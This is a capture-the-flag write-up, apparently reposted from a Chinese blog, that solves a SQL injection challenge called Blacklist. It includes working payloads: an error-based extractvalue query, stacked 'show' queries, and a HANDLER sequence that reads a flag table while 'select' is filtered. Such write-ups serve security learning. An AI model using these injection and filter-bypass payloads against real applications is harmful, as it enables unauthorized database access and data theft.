当前位置:网站首页>[GYCTF2020]Blacklist
[GYCTF2020]Blacklist
2022-06-23 09:14:00 【K00sec】
[GYCTF2020]Blacklist
题目直接就告诉需要绕过黑名单了,看着这个输入框,感觉是命令执行。

经过测试,确定不是命令执行了,是一个sql注入,看到报错信息,接着就使用报错注入试试了。

通过报错注入拿到了当前数据库名,接着就尝试爆破表名试试看。
# payload
?inject=0'-extractvalue(1,(concat('~',database())))+%23

爆破表名就被过滤了,原来在着等着呢,回显出了被过滤的关键字了。

select关键字被过滤了,但是发现没有过滤 ; 可以试试 堆叠注入 ,尝试一下。
# payload
?inject=0';show+database();show+tables;%23

成功堆叠注入了,查询出来了数据库和当前数据库中的表,flag 应该就在 FlagHere 表中。
# payload
?inject=0';show+columns+from+FlagHere;%23

但是select被过滤了怎么查看数据啊,还是度娘给力,想查什么都可以查到。
# HANDLER 语句
HANDLER tbl_name OPEN [ [AS] alias]
[
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
]
HANDLER table_name OPEN:打开一个表的句柄。
HANDLER table_name READ index:访问表的索引。
HANDLER table_name CLOSE:关闭已经打开的句柄。
# 1、通过指定的索引查询
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过的索引查看表
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# FIRST:获取第一行(索引最小的一行)
# NEXT:获取下一行
# PREV:获取上一行
# LAST:获取最后一行(索引最大的一行)
# 2、不通过索引查看表
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
## 完整示例
### 通过指定的索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ test_index=(4);HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
### 通过索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ FIRST;HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec
### 通过依次获取索引的下一行查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ NEXT;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 5 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 1 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 2 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
Empty set (0.00 sec)
#### 最后索引结束返回空
使用 HANDLER 语句查询到了flag。
# payload
?inject=0';HANDLER+FlagHere+OPEN;HANDLER+FlagHere+READ+NEXT;HANDLER+FlagHere+CLOSE;%23

参考文章:
[MYSQL中如何使用handler](
边栏推荐
- Flink error --caused by: org apache. calcite. sql. parser. SqlParseException: Encountered “time“
- Redis学习笔记—redis-cli详解
- 636. Exclusive Time of Functions
- Quartz Crystal Drive Level Calculation
- 什么是闭包函数
- MySQL fault case | error 1071 (42000): specified key was too long
- C#之Lambda不得不说的用法
- JSP入门总结
- 一元函数求极限三大方法---洛必达法则,泰勒公式
- 多线程初学
猜你喜欢
随机推荐
Combination sum II of leetcode topic analysis
Aiming at the overseas pet market, "grasshand" has developed an intelligent tracking product independent of mobile phones | early project
MQTT+Flink实现实时消息的订阅与发布
Redis学习笔记—数据类型:哈希(hash)
Redis learning notes - Database Management
Implementation of s5p4418 bare metal programming (replace 2ndboot)
Node request module cookie usage
ARM处理器与51单片机程序编写的区别
线性表(SequenceList)的顺序表示与实现----线性结构
扫码登录基本流程
Redis学习笔记—Redis与Lua
Redis学习笔记—持久化机制之AOF
Redis learning notes pipeline
Redis学习笔记—数据类型:有序集合(zset)
Quartz Crystal Drive Level Calculation
自定义标签——jsp标签增强
36氪首发|云原生数据库公司「拓数派」完成新一轮战略融资,估值已达准独角兽级别
瞄准海外宠物市场,「Grasphand 」做了一款独立于手机的智能追踪产品 | 早期项目
Redis学习笔记—数据库管理
Unity grid programming 06







